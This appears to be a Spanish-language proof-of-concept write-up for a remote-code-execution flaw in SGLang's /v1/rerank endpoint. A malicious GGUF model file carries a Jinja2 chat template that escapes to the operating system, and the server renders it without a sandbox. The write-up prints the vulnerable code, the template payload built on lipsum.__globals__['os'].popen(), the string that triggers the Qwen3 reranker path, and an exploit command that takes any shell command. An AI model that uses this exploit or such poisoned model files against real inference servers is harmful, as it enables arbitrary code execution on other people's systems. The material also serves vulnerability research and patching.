
Prueba de concepto de la explotación de CVE-2026-5760 - RCE en SGLang 0.5.9 mediante GGUF malicioso
Ejecución remota de código mediante inyección de plantillas del lado del servidor (SSTI) en el endpoint de reranking de SGLang. Un archivo de modelo GGUF malicioso con un tokenizer.chat_template manipulado logra ejecución arbitraria de código cuando se carga en SGLang y se llama al endpoint /v1/rerank.
Aprovechando una vulnerabilidad de severidad crítica en SGLang a través del renderizado de plantillas Jinja2 sin sandbox. El endpoint de reranking de SGLang (/v1/rerank) renderiza las plantillas de chat suministradas por el modelo usando jinja2.Environment() en lugar de ImmutableSandboxedEnvironment, lo que permite que un modelo malicioso ejecute código Python arbitrario en el servidor de inferencia.
Esta es la misma clase de vulnerabilidad que CVE-2024-34359 ("Llama Drama"), que afectaba a llama-cpp-python.
tokenizer.chat_template malicioso que contiene un payload SSTI de Jinja2serving_rerank.py/v1/rerank, SGLang lee el chat_template y lo renderiza con jinja2.Environment() — sin sandboxArchivo: python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
El PoC genera un archivo GGUF malicioso y demuestra la ejecución de código a través de la ruta de renderizado sin sandbox de SGLang.
python3 exploit.py "id"
Pasa cualquier comando de shell como argumento — el valor predeterminado es id.
La plantilla de chat maliciosa incrustada en el archivo GGUF:
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no") es necesaria para activar la detección del reranker Qwen3 de SGLang, enrutando la solicitud a través de la ruta vulnerable _render_jinja_chat_template().lipsum.__globals__["os"].popen() escapa del contexto de Jinja2 para ejecutar comandos arbitrarios del sistema operativo.Esta herramienta es solo para investigación de seguridad autorizada y fines educativos. Úsala de manera responsable.